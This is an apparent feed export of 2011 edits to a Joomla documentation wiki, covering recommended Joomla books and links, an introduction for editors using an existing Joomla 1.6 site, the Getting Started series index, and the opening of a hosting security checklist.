*&#039;&#039;&#039;Ron Severdia and Kenneth Crowder, &#039;&#039;Using Joomla&#039;&#039;,&#039;&#039;&#039; O&#039;Reilly, 2010. A descriptive book in the traditions of the O&#039;Reilly publications. Not for beginners.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Marni Derr and Tanya Symes, &#039;&#039;Visual QuickStart Guide: Joomla!,&#039;&#039;&#039;&#039;&#039; PeachPit Press, 2009. Helpful layout with a lot of screen shots and asides. Some experience of IT is needed but the book leads you along nicely and is written in a straight forward style.&lt;br /&gt;
&lt;br /&gt;
{{JVer|1.6}}&lt;br /&gt;
&lt;br /&gt;
None around yet specifically for 1.6&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Jennifer Marriott and Elin Waring, &#039;&#039;The Official Joomla! Book&#039;&#039;&#039;&#039;&#039; . This has a lengthy section on version 1.6 and covers the parts that have changed.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Ric Shreves, &#039;&#039;Joomla! Bible,&#039;&#039;&#039;&#039;&#039; This has some extra comments in the text about differences in version 1.6, but does not have much detail.&lt;br /&gt;
&lt;br /&gt;
===Help on-line {{JVer|1.5}}  and {{JVer|1.6}}===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;General:&#039;&#039;&#039; The Joomla! Help pages are variable in their helpfulness, especially for beginners.&lt;br /&gt;
:*Most are very good. If you are an experienced reader of Help - they will be useful. &lt;br /&gt;
:*Beginners may find they do not understand all the vocabulary. But they do become clearer as you get to know Joomla! so do not write them off.&lt;br /&gt;
:*Remember that Help is intended to contain all possible actions but does not necessarily explain the point of everything.&lt;br /&gt;
&lt;br /&gt;
===On-line resources {{JVer|1.5}} and {{JVer|1.6}} ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! on-line magazine&#039;&#039;&#039; with some helpful material, some aimed at beginners.&lt;br /&gt;
*http://magazine.joomla.org&lt;br /&gt;
&lt;br /&gt;
The landing page for all &#039;&#039;&#039;Joomla! documentation&#039;&#039;&#039;.&lt;br /&gt;
*http://docs.joomla.org&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The Joomla! Forum.&#039;&#039;&#039; It takes a bit of experience to get the best out of the Forums. If you are not very experienced, you will find a lot here that does not make sense and it is easy to get distracted. But many questions are well answered.&lt;br /&gt;
* http://forum.joomla.org&lt;br /&gt;
&lt;br /&gt;
===Some on-line Joomla! documentation===&lt;br /&gt;
{{JVer|1.5}}&lt;br /&gt;
*[http://docs.joomla.org/Administrators Joomla! Administrator&#039;s Manual - on-line ] This will be comprehensive when it is complete.&lt;br /&gt;
*[http://help.joomla.org/ghop/feb2008/task048/joomla_15_quickstart.pdf Quick start guide ] This includes descriptions of the Back-end as part of installing and creating a Joomla! site. It is good and helpful.&lt;br /&gt;
* [http://community.joomla.org/august-2008/article/522-introductory-learning-joomla-using-sample-data.html Learning Joomla! using Sample Data] It has a short section on the Back-end but is also useful in exploring the Sample data in the localhost installation.&lt;br /&gt;
&lt;br /&gt;
{{JVer|1.6}}&lt;br /&gt;
&lt;br /&gt;
There are some - to be added&lt;br /&gt;
&lt;br /&gt;
==Other documents in this series==&lt;br /&gt;
&lt;br /&gt;
*[[Page_Index|List of documents for this series - version 1.5]]&lt;br /&gt;
*List of documents for this series - version 1.6 - coming soon&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=References&amp;diff=62604</id>
		<title>References</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=References&amp;diff=62604"/>
		<updated>2011-10-15T01:19:32Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;noinclude&amp;gt;&lt;br /&gt;
This is a list of references for both versions - marked by the 1.5 / 1.6 logos.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The aim of listing references is to choose some that are found useful or that summarise Joomla! There are many detailed references at the foot of all the documents. Both versions are included here because it is useful to see what is available for both versions alongside one another.&lt;br /&gt;
&lt;br /&gt;
===Joomla! main and documentation sites===&lt;br /&gt;
* http://www.joomla.org/ Links to everything but be careful you do not get lost!&lt;br /&gt;
&lt;br /&gt;
* http://docs.joomla.org/ The official Documentation web site for all versions of Joomla!&lt;br /&gt;
&lt;br /&gt;
===Books===&lt;br /&gt;
&lt;br /&gt;
As Joomla! becomes widely used, there are more books aimed at various levels of expertise. It may seem strange to recommend books for an on-line application but the book has not died as a result of on-screen documentation. Studies have shown that people read differently on-screen and on paper, so it makes sense to use books alongside other resources. Here are some that enhance to the on-line or on-screen documentation.&lt;br /&gt;
&lt;br /&gt;
{{JVer|1.5}}&lt;br /&gt;
*&#039;&#039;&#039;Jennifer Marriott and Elin Waring, &#039;&#039;The Official Joomla! Book&#039;&#039;&#039;&#039;&#039; Addison-Wesley Professional, 2010. Part of the Joomla! Press series. This is a very useful guide to Joomla! because it has masses of background about how to think about the design of a new site. It also links to examples set up for the book. And masses of useful advice and links. &lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Ric Shreves, &#039;&#039;Joomla! Bible,&#039;&#039;&#039;&#039;&#039; Wiley, 2010. Comprehensive and practical. A reference book but with a lot of practical things, as well as nuggets of information. Good for developers but also useful for learners. It has some material about version 1.6 but was published for version 1.5.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Cory Webb, &#039;&#039;Beginning Joomla! Web Site Development,&#039;&#039;&#039;&#039;&#039; Wrox Wiley 2009. One of the Programmer to Programmer series. Better for people with a bit of experience of computing in general and web sites in particular. But it has some good parts - including some detailed analysis of Template files.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Ron Severdia and Kenneth Crowder, &#039;&#039;Using Joomla&#039;&#039;,&#039;&#039;&#039; O&#039;Reilly, 2010. A descriptive book in the traditions of the O&#039;Reilly publications. Not for beginners.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Marni Derr and Tanya Symes, &#039;&#039;Visual QuickStart Guide: Joomla!,&#039;&#039;&#039;&#039;&#039; PeachPit Press, 2009. Helpful layout with a lot of screen shots and asides. Some experience of IT is needed but the book leads you along nicely and is written in a straight forward style.&lt;br /&gt;
&lt;br /&gt;
{{JVer|1.6}}&lt;br /&gt;
&lt;br /&gt;
None around yet specifically for 1.6&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Jennifer Marriott and Elin Waring, &#039;&#039;The Official Joomla! Book&#039;&#039;&#039;&#039;&#039; . This has a lengthy section on version 1.6 and covers the parts that have changed.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Ric Shreves, &#039;&#039;Joomla! Bible,&#039;&#039;&#039;&#039;&#039; This has some extra comments in the text about differences in version 1.6, but does not have much detail.&lt;br /&gt;
&lt;br /&gt;
===Help on-line {{JVer|1.5}}  and {{JVer|1.6}}===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;General:&#039;&#039;&#039; The Joomla! Help pages are variable in their helpfulness, especially for beginners.&lt;br /&gt;
:*Most are very good. If you are an experienced reader of Help - they will be useful. &lt;br /&gt;
:*Beginners may find they do not understand all the vocabulary. But they do become clearer as you get to know Joomla! so do not write them off.&lt;br /&gt;
:*Remember that Help is intended to contain all possible actions but does not necessarily explain the point of everything.&lt;br /&gt;
&lt;br /&gt;
===On-line resources {{JVer|1.5}} and {{JVer|1.6}} ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! on-line magazine&#039;&#039;&#039; with some helpful material, some aimed at beginners.&lt;br /&gt;
*http://magazine.joomla.org&lt;br /&gt;
&lt;br /&gt;
The landing page for all &#039;&#039;&#039;Joomla! documentation&#039;&#039;&#039;.&lt;br /&gt;
*http://docs.joomla.org&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The Joomla! Forum.&#039;&#039;&#039; It takes a bit of experience to get the best out of the Forums. If you are not very experienced, you will find a lot here that does not make sense and it is easy to get distracted. But many questions are well answered.&lt;br /&gt;
* http://forum.joomla.org&lt;br /&gt;
&lt;br /&gt;
===Some on-line Joomla! documentation===&lt;br /&gt;
{{JVer|1.5}}&lt;br /&gt;
*[http://docs.joomla.org/Administrators Joomla! Administrator&#039;s Manual - on-line ] This will be comprehensive when it is complete.&lt;br /&gt;
*[http://help.joomla.org/ghop/feb2008/task048/joomla_15_quickstart.pdf Quick start guide ] This includes descriptions of the Back-end as part of installing and creating a Joomla! site. It is good and helpful.&lt;br /&gt;
* [http://community.joomla.org/august-2008/article/522-introductory-learning-joomla-using-sample-data.html Learning Joomla! using Sample Data] It has a short section on the Back-end but is also useful in exploring the Sample data in the localhost installation.&lt;br /&gt;
&lt;br /&gt;
{{JVer|1.6}}&lt;br /&gt;
&lt;br /&gt;
There are some - to be added&lt;br /&gt;
&lt;br /&gt;
==Other documents in this series==&lt;br /&gt;
&lt;br /&gt;
*[[Page_Index|List of documents for this series - version 1.5]]&lt;br /&gt;
*|List of documents for this series - version 1.6 - coming soon&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Use_an_existing_Joomla!_site&amp;diff=62603</id>
		<title>Archived:Use an existing Joomla! site</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Use_an_existing_Joomla!_site&amp;diff=62603"/>
		<updated>2011-10-15T01:17:56Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{:GSheader}}&lt;br /&gt;
{{JVer|1.6}} The aim of this short introduction is to help you use a site that has already been set up so that you feel that you are not just using a mysterious back box. It is one of a series of documents introducing Joomla! version 1.6.&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
&lt;br /&gt;
===Who is it written for?===&lt;br /&gt;
:*Everyone&lt;br /&gt;
:*The main focus is on people who do not have much experience of using web sites.&lt;br /&gt;
You also need:-&lt;br /&gt;
:*to have access to a Joomla! site with  an appropriate level of permission&lt;br /&gt;
&lt;br /&gt;
Many people start to use a web site that has been set up using Joomla! You are especially likely to do this if you are going to be adding content to an existing site and do not expect to go further with managing the site.&lt;br /&gt;
&lt;br /&gt;
You do need to know something about the site and where the Articles are located. This will vary a great deal from site to site, so (obviously!) cannot be covered here in detail.&lt;br /&gt;
&lt;br /&gt;
===How to login===&lt;br /&gt;
You will need a username with the right permissions for what you are going to do, such as add and edit articles.&lt;br /&gt;
&lt;br /&gt;
You will be given a username (sometimes called a login) to allow you to alter the content of a site. This shows you how to login once you have a username and password. The postioning of the Login Form can vary but many sites place this to the left of the screen beneath the menus.&lt;br /&gt;
*Open the site in your browser&lt;br /&gt;
{{:How to login16}}&lt;br /&gt;
&lt;br /&gt;
=== Usernames and permissions to see and do things===&lt;br /&gt;
Permissions are sometimes referred to as &#039;access control&#039;.&lt;br /&gt;
&lt;br /&gt;
Joomla! allows content to be created and edited by visitors who login with a username with appropriate permissions.&lt;br /&gt;
:*The usernames are created, and the permissions defined, by the person who looks after the Web site, usually called the Administrator.&lt;br /&gt;
&lt;br /&gt;
In Joomla! 1.6 there are a number of pre-defined groups relevant to adding and editing Articles in a Joomla! Web site. Some web sites have many more groups, allowing access to specific parts of the site for specific people. You will need to know which group you are in and what rights you have to view and edit articles.&lt;br /&gt;
&lt;br /&gt;
Typical groups include:-&lt;br /&gt;
* &#039;&#039;&#039;Guests:&#039;&#039;&#039; Some website visitors never login and are just able to read the content. They may also be limited in the pages they can see.&lt;br /&gt;
*&#039;&#039;&#039;Registered users:&#039;&#039;&#039; Others can login but have &#039;read only&#039; access to the site - in other words they cannot alter anything.&lt;br /&gt;
*&#039;&#039;&#039;Author or Editor:&#039;&#039;&#039; You may be given &#039;author&#039; or &#039;editor&#039; permissions, which normally allows you to edit and add Articles, but does not allow you to &#039;publish&#039; them.  Authors can usually only edit articles that they have created.&lt;br /&gt;
*&#039;&#039;&#039;Publisher:&#039;&#039;&#039; Publishing an article makes it visible to visitors to the web site. You may have some &#039;publisher&#039; permissions, which allows you to publish articles, as well as adding and editing them.&lt;br /&gt;
&lt;br /&gt;
==Where Next?==&lt;br /&gt;
Once you have logged in to the site, there is a hands-on document (part of this series) to introduce you to altering an Article.&lt;br /&gt;
*[[Hands-on editing an article: Joomla! 1.6|Hands-on how to begin to edit an Article.]]&lt;br /&gt;
&lt;br /&gt;
This will help you to become familiar with editing in Joomla!&lt;br /&gt;
&lt;br /&gt;
==Further information==&lt;br /&gt;
&lt;br /&gt;
There are other levels of access for managing a site. Access Control in Joomla! 1.6 is more granular than in earlier versions. You would need to know about this for looking after or creating a site, but the full detail is not needed for simply editing and adding content.&lt;br /&gt;
&lt;br /&gt;
*[[How permissions work in Joomla! 1.6 |Controlling user access to a Joomla! Site]]&lt;br /&gt;
&lt;br /&gt;
==Index to other documents in this series==&lt;br /&gt;
{{:GSFooter/1.6}}&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Use_an_existing_Joomla!_site&amp;diff=62602</id>
		<title>Archived:Use an existing Joomla! site</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Use_an_existing_Joomla!_site&amp;diff=62602"/>
		<updated>2011-10-15T01:17:27Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: view edit history&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{:GSheader}}&lt;br /&gt;
{{JVer|1.6}} The aim of this short introduction is to help you use a site that has already been set up so that you feel that you are not just using a mysterious back box. It is one of a series of documents introducing Joomla! version 1.6.&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
&lt;br /&gt;
===Who is it written for?===&lt;br /&gt;
:*Everyone&lt;br /&gt;
:*The main focus is on people who do not have much experience of using web sites.&lt;br /&gt;
You also need:-&lt;br /&gt;
:*to have access to a Joomla! site with  an appropriate level of permission&lt;br /&gt;
&lt;br /&gt;
Many people start to use a web site that has been set up using Joomla! You are especially likely to do this if you are going to be adding content to an existing site and do not expect to go further with managing the site.&lt;br /&gt;
&lt;br /&gt;
You do need to know something about the site and where the Articles are located. This will vary a great deal from site to site, so (obviously!) cannot be covered here in detail.&lt;br /&gt;
&lt;br /&gt;
===How to login===&lt;br /&gt;
You will need a username with the right permissions for what you are going to do, such as add and edit articles.&lt;br /&gt;
&lt;br /&gt;
You will be given a username (sometimes called a login) to allow you to alter the content of a site. This shows you how to login once you have a username and password. The postioning of the Login Form can vary but many sites place this to the left of the screen beneath the menus.&lt;br /&gt;
*Open the site in your browser&lt;br /&gt;
{{:How to login16}}&lt;br /&gt;
&lt;br /&gt;
=== Usernames and permissions to see and do things===&lt;br /&gt;
Permissions are sometimes referred to as &#039;access control&#039;.&lt;br /&gt;
&lt;br /&gt;
Joomla! allows content to be created and edited by visitors who login with a username with appropriate permissions.&lt;br /&gt;
:*The usernames are created, and the permissions defined, by the person who looks after the Web site, usually called the Administrator.&lt;br /&gt;
&lt;br /&gt;
In Joomla! 1.6 there are a number of pre-defined groups relevant to adding and editing Articles in a Joomla! Web site. Some web sites have many more groups, allowing access to specific parts of the site for specific people. You will need to know which group you are in and what rights you have to view and edit articles.&lt;br /&gt;
&lt;br /&gt;
Typical groups include:-&lt;br /&gt;
* &#039;&#039;&#039;Guests:&#039;&#039;&#039; Some website visitors never login and are just able to read the content. They may also be limited in the pages they can see.&lt;br /&gt;
*&#039;&#039;&#039;Registered users:&#039;&#039;&#039; Others can login but have &#039;read only&#039; access to the site - in other words they cannot alter anything.&lt;br /&gt;
*&#039;&#039;&#039;Author or Editor:&#039;&#039;&#039; You may be given &#039;author&#039; or &#039;editor&#039; permissions, which normally allows you to edit and add Articles, but does not allow you to &#039;publish&#039; them.  Authors can usually only edit articles that they have created.&lt;br /&gt;
*&#039;&#039;&#039;Publisher:&#039;&#039;&#039; Publishing an article makes it visible to visitors to the web site. You may have some &#039;publisher&#039; permissions, which allows you to publish articles, as well as adding and editing them.&lt;br /&gt;
&lt;br /&gt;
==Where Next?==&lt;br /&gt;
Once you have logged in to the site, there is a hands-on document (part of this series) to introduce you to altering an Article.&lt;br /&gt;
*[[Hands-on editing an article: Joomla! 1.6|Hands-on how to begin to edit an Article.]]&lt;br /&gt;
&lt;br /&gt;
This will help you to become familiar with editing in Joomla!&lt;br /&gt;
&lt;br /&gt;
==Further information==&lt;br /&gt;
&lt;br /&gt;
There are other levels of access for managing a site. Access Control in Joomla! 1.6 is more granular than in earlier versions. You would need to know about this for looking after or creating a site, but the full detail is not needed for simply editing and adding content.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[How permissions work in Joomla! 1.6 |Controlling user access to a Joomla! Site]]&lt;br /&gt;
&lt;br /&gt;
==Index to other documents in this series==&lt;br /&gt;
{{:GSFooter/1.6}}&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Category:Getting_Started_with_Joomla!_1.6&amp;diff=62601</id>
		<title>Category:Getting Started with Joomla! 1.6</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Category:Getting_Started_with_Joomla!_1.6&amp;diff=62601"/>
		<updated>2011-10-15T01:14:57Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: get rid of the red links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Category:Getting_Started_with_Joomla!_1.6&amp;diff=62600</id>
		<title>Category:Getting Started with Joomla! 1.6</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Category:Getting_Started_with_Joomla!_1.6&amp;diff=62600"/>
		<updated>2011-10-15T01:14:39Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: Created page with &amp;quot;zz&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;zz&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Getting_Started_with_Joomla!&amp;diff=62599</id>
		<title>Archived:Getting Started with Joomla!</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Getting_Started_with_Joomla!&amp;diff=62599"/>
		<updated>2011-10-15T01:13:45Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{JVer|1.6}}{{JVer|1.7}} &lt;br /&gt;
&lt;br /&gt;
This series of documents introduces Joomla! to people who have not previously used it. This introduction aims to help you make the best use of the series. This is the introduction to version 1.6+ . There is a separate series [[Getting Started with Joomla! 1.5| for using Joomla! version 1.5]]&lt;br /&gt;
&lt;br /&gt;
==Background==&lt;br /&gt;
&lt;br /&gt;
===Which versions are covered?===&lt;br /&gt;
&lt;br /&gt;
There are two versions in common use:-&lt;br /&gt;
* Version 1.5 is well established and widely used, and will be supported till January 2012. See [[Getting Started with Joomla! 1.5]] for the corresponding series.&lt;br /&gt;
* Version 1.6 was released January 2011 and is not supported anymore.&lt;br /&gt;
* Version 1.7 was released July 2011.&lt;br /&gt;
There are many similarities between the versions but they are presented separately to newcomers to Joomla! in order to use &#039;hands-on&#039; material.&lt;br /&gt;
&lt;br /&gt;
===Who is it written for?===&lt;br /&gt;
&lt;br /&gt;
The series is for anyone who wants to use Joomla! at a number of levels. Its main focus is:-&lt;br /&gt;
* on people with limited computing experience&lt;br /&gt;
* on using Joomla! for a small web site, such as a club or association or small business&lt;br /&gt;
but&lt;br /&gt;
* there are sections which will be useful to experienced designers and developers.&lt;br /&gt;
&lt;br /&gt;
At the start of each article there is an indication of who it is aimed at and, on occasions, about the pitfalls for the inexperienced or unwary. &amp;lt;/br&amp;gt;&lt;br /&gt;
[[GS/Readership|Some more detail about the intended readership]]&lt;br /&gt;
&lt;br /&gt;
== Introduction to the Getting Started series ==&lt;br /&gt;
&lt;br /&gt;
Joomla! is introduced using detailed &#039;hands-on&#039; instructions about adding, altering and manipulating content. At the same time, general points about Joomla! are made which are intended to help people to learn more and do more. As the tasks require more background knowledge, so there are fewer hands-on instructions and more general pointers to the extensive documentation available for Joomla!&lt;br /&gt;
&lt;br /&gt;
The series divides into four parts:-&lt;br /&gt;
:*&#039;&#039;&#039;Hands-on a Joomla! site:&#039;&#039;&#039; There is an initial section on how to get &#039;hands-on&#039; a Joomla! site. This is followed by practical instructions about doing key tasks needed for adding, altering and manipulating content on an existing site.&lt;br /&gt;
:*&#039;&#039;&#039;Setting up a Joomla! site:&#039;&#039;&#039; This has background information about the design of a Joomla! Web site. There is a hands-on section on the mechanics of creating a new site using the core features that come with Joomla!&lt;br /&gt;
:*&#039;&#039;&#039;Looking after a Joomla! site:&#039;&#039;&#039; This is a brief introduction to the day-to-day adminstration of a Joomla! web Site.&lt;br /&gt;
:*&#039;&#039;&#039;Doing more and learning more:&#039;&#039;&#039; The final part links into other documentation and is intended as a guide ahead for taking Joomla! beyond the basics.&lt;br /&gt;
&lt;br /&gt;
=== Hands-on a Joomla! site ===&lt;br /&gt;
&lt;br /&gt;
You must have the use of a Joomla! Web site to use &#039;hands-on&#039; instructions. There are several possibilites:-&lt;br /&gt;
:*[[Use an existing Joomla! 1.6 site| &#039;&#039;&#039;Use a site that has already been set up.&#039;&#039;&#039;]]  If you are going to be adding content to an existing site and do not have much computing experience this is a good option.&lt;br /&gt;
:* [[Use Joomla! on your own computer| &#039;&#039;&#039;Install a copy of Joomla! (with Sample Data) on your own computer.&#039;&#039;&#039;]] This is sometimes referred to as a &#039;localhost&#039; installation.  Installing with Sample Data enables you to to explore a Joomla! site before you have created one for your own content. This is a good option for beginners.&lt;br /&gt;
:* [[Install_1.7| &#039;&#039;&#039;Install a copy of Joomla! (with Sample Data) on a Hosting server.&#039;&#039;&#039;]] This is sometimes referred to as a &#039;remote host&#039; installation.  Installing with Sample Data enables you to to explore a Joomla! site before you have created one for your own content. This is a good option for beginners.  [http://resources.joomla.org/directory/support-services/hosting.html]&lt;br /&gt;
:*&#039;&#039;&#039;Use the Demo on the Joomla! site.&#039;&#039;&#039; - Probably not doing this for version 1.6 Some example sites needed even if not interactive.&lt;br /&gt;
&lt;br /&gt;
=== Hands-on adding and altering articles ===&lt;br /&gt;
Start here no matter what your previous experience. Articles are the building blocks of any Joomla! Web site and everyone needs to know the basics of how to edit and create them. And doing this helps you to understand the inner workings of Joomla!&lt;br /&gt;
&lt;br /&gt;
:*[[Hands-on editing an article: Joomla! 1.6| &#039;&#039;&#039;How to edit an Article&#039;&#039;&#039;]] - aimed at helping everyone to use the editor and understand what articles look like and where they are stored.&lt;br /&gt;
:*[[Hands-on adding a new article: Joomla! 1.6| &#039;&#039;&#039;How to create a new Article&#039;&#039;&#039;]] - aimed at helping everyone to add a new article to a web site&lt;br /&gt;
&lt;br /&gt;
===More about editing articles===&lt;br /&gt;
These are aimed at helping everyone who wants to learn more about articles and managing them from the main Site, also called the Front-end.&lt;br /&gt;
:*[[Add links to other pages: Joomla! 1.6|&#039;&#039;&#039;Hands-on adding links to other pages&#039;&#039;&#039;]]&lt;br /&gt;
:*[[Add a table: Joomla! 1.6|&#039;&#039;&#039;Hands-on adding a table&#039;&#039;&#039;]]&lt;br /&gt;
:*[[Add an image: Joomla! 1.6|&#039;&#039;&#039;Hands-on adding a picture&#039;&#039;&#039;]]&lt;br /&gt;
:*[[How to split an Article 1.6|&#039;&#039;&#039;Hands-on splitting a long article&#039;&#039;&#039;]]&lt;br /&gt;
====Managing content using the Front-end of Joomla!====&lt;br /&gt;
:*[[Manage articles using the Front-end of Joomla! 1.6|&#039;&#039;&#039;Manipulating and publishing  Articles&#039;&#039;&#039; ]] using the Front-end&lt;br /&gt;
&lt;br /&gt;
===Setting up a Joomla! site===&lt;br /&gt;
There is a distinction between the mechanics of setting up a new site and the things you need to know before you set up a site. There is often a trial and error process involved in doing this, with muddle and frustration as a result. The problem is that you cannot design a site without knowing some background: and it is often easiest to learn the background by using a site. So this series presents the background to understanding how Joomla! sites work separately from the mechanics of creating a site. It emphasises that some initial thought can save hassle later.&lt;br /&gt;
====Background - things you need to know====&lt;br /&gt;
These are hands-on documents to familiarise you with designing a new site. The background is separate so that the flow of creating the site is not interrupted by asides. The background is aimed at helping you to understand what is going on, whether you have a large or a small site.&lt;br /&gt;
:*[[Get to know  the Administrator Back-end of Joomla! 1.6|&#039;&#039;&#039;Background: get to know the Back-end&#039;&#039;&#039;]]&lt;br /&gt;
:*[[How permissions work in Joomla! 1.6|&#039;&#039;&#039;Background: controlling user access to a Joomla! Site&#039;&#039;&#039;]]&lt;br /&gt;
:*[[Design the content: Categories in Joomla! 1.6|&#039;&#039;&#039;Background: design the content - Categories in Joomla! 1.6&#039;&#039;&#039;]]&lt;br /&gt;
:*[[Design appearance using Menus and Modules: Joomla! 1.6|&#039;&#039;&#039;Background:design appearance using Menus and Modules&#039;&#039;&#039;]]&lt;br /&gt;
:*[[Design appearance using default Templates: Joomla! 1.6|&#039;&#039;&#039;Background: design appearance using default Templates&#039;&#039;&#039;]]&lt;br /&gt;
&lt;br /&gt;
====The mechanics of setting up a new site====&lt;br /&gt;
This covers the mechanics of creating new content and appearance of a simple site, using core Joomla! facilities.&lt;br /&gt;
:*[[The mechanics of creating a Joomla! 1.6 web site|&#039;&#039;&#039;Doing it: hands-on setting up a Joomla! site&#039;&#039;&#039;]]&lt;br /&gt;
&lt;br /&gt;
===General administration of a Joomla! site===&lt;br /&gt;
The work is not done even when a site is set up and there are people adding and altering the content. There are some day-to-day tasks that need attention, as well as minor alterations to the site.&lt;br /&gt;
:*[[Start to manage a Joomla! 1.6 site|&#039;&#039;&#039;Getting Started with day-to-day Administration of a Joomla! site&#039;&#039;&#039;]]&lt;br /&gt;
&lt;br /&gt;
==Take Joomla! beyond the basics==&lt;br /&gt;
There is more to learn about Joomla.&lt;br /&gt;
:* &#039;&#039;&#039;Beyond the basics: doing more Jooomla!&#039;&#039;&#039; - this is not yet completed - it points to ways ahead.&lt;br /&gt;
&lt;br /&gt;
:*[[References|&#039;&#039;&#039;Books, links and helpful resources&#039;&#039;&#039;]]&lt;br /&gt;
&lt;br /&gt;
==Index to the documents in this series==&lt;br /&gt;
{{:GSFooter/1.6}}&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Talk:Extension_types_(technical_definitions)&amp;diff=62598</id>
		<title>Talk:Extension types (technical definitions)</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Talk:Extension_types_(technical_definitions)&amp;diff=62598"/>
		<updated>2011-10-15T01:12:46Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: question&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Question==&lt;br /&gt;
The last thing this article says is &amp;quot;The user portion has no menu component, but is otherwise very similar to the admin portion.&amp;quot; Okay, so how exactly does the user side work? Where is that specified? I wish there were a link to that in the article because that is the part I need to undrstand. I have gone through the MVC tutorial on writing a component, but this does virtually nothing. I want to know how to present an edit form to the user similar to what&#039;s on the admin side.&lt;br /&gt;
Do I really have to write a module for this?:by IslandBilly&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Category:References&amp;diff=62398</id>
		<title>Category:References</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Category:References&amp;diff=62398"/>
		<updated>2011-09-28T23:19:09Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: Blanked the page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Category:References&amp;diff=62397</id>
		<title>Category:References</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Category:References&amp;diff=62397"/>
		<updated>2011-09-28T23:19:02Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: Created page with &amp;quot;.&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;.&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Hosting_and_Server_Setup&amp;diff=62396</id>
		<title>Security Checklist/Hosting and Server Setup</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Hosting_and_Server_Setup&amp;diff=62396"/>
		<updated>2011-09-28T23:17:34Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: view history&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
== Choose a Qualified Hosting Provider ==&lt;br /&gt;
&lt;br /&gt;
===The most important decision===&lt;br /&gt;
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it&#039;s not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])&lt;br /&gt;
&lt;br /&gt;
